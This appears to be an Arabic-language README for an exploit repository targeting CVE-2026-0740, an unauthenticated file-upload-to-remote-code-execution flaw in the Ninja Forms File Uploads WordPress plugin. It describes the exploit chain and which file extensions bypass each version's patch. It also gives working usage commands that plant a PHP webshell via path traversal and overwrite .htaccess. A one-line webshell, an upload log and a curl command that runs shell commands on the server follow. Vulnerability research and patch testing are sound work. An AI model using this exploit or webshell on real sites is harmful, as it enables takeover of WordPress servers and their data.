
Ninja Forms File Uploads <= 3.3.26 - رفع ملفات تعسفي دون مصادقة إلى تنفيذ كود عن بُعد (RCE) (CVE-2026-0740)
استغلال لـ CVE-2026-0740 اكتشفه سليم لانوار (whattheslime).
للحصول على تحليل تقني كامل، اقرأ المقال الكامل على مدونة Lexfo.
هذا المستودع مُقدَّم لأغراض البحث والأمن الدفاعي فقط.
لا يتحمّل المؤلف أي مسؤولية عن إساءة استخدام هذه المعلومات.
المكوّن الإضافي Ninja Forms - File Uploads الخاص بـ WordPress عرضة لثغرة رفع ملفات تعسفي غير مُصادَق عليه تؤدي إلى تنفيذ كود عن بُعد في جميع الإصدارات حتى 3.3.26 وما دونها.
تم اكتشاف الثغرة والإبلاغ عنها أصلاً في الإصدار 3.3.23. يكون الاستغلال مباشراً حتى الإصدار 3.3.24 (لا يوجد تحقق من اسم الملف الوجهة). أدخلت الإصدارات 3.3.25 و 3.3.26 تصحيحات جزئية متتالية، لكن المشكلة حُلّت بالكامل فقط في الإصدار 3.3.27.
سلسلة الاستغلال هي كما يلي:
nf_fu_get_new_nonce مع field_id عشوائي.nf_fu_upload من امتداد الملف المرفوع (مثل image.jpg)، لكنه يسمح للعميل بتجاوز اسم الملف الوجهة عبر معامل POST (image_jpg).move_uploaded_file() دون تعقيم مناسب، مما يتيح استخدام امتدادات تعسفية وتجاوز المسار (../).| المتجه / الامتداد | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
تجاوز المسار (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
راجع مقال المدونة الكامل للاطلاع على جدول الامتدادات الكامل والتحليل التقني المتعمق.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
سيتم كتابة الملف في wp-content/uploads/ninja-forms/tmp/test.txt.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
سيتم كتابة الملف في wp-content/webshell.php.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)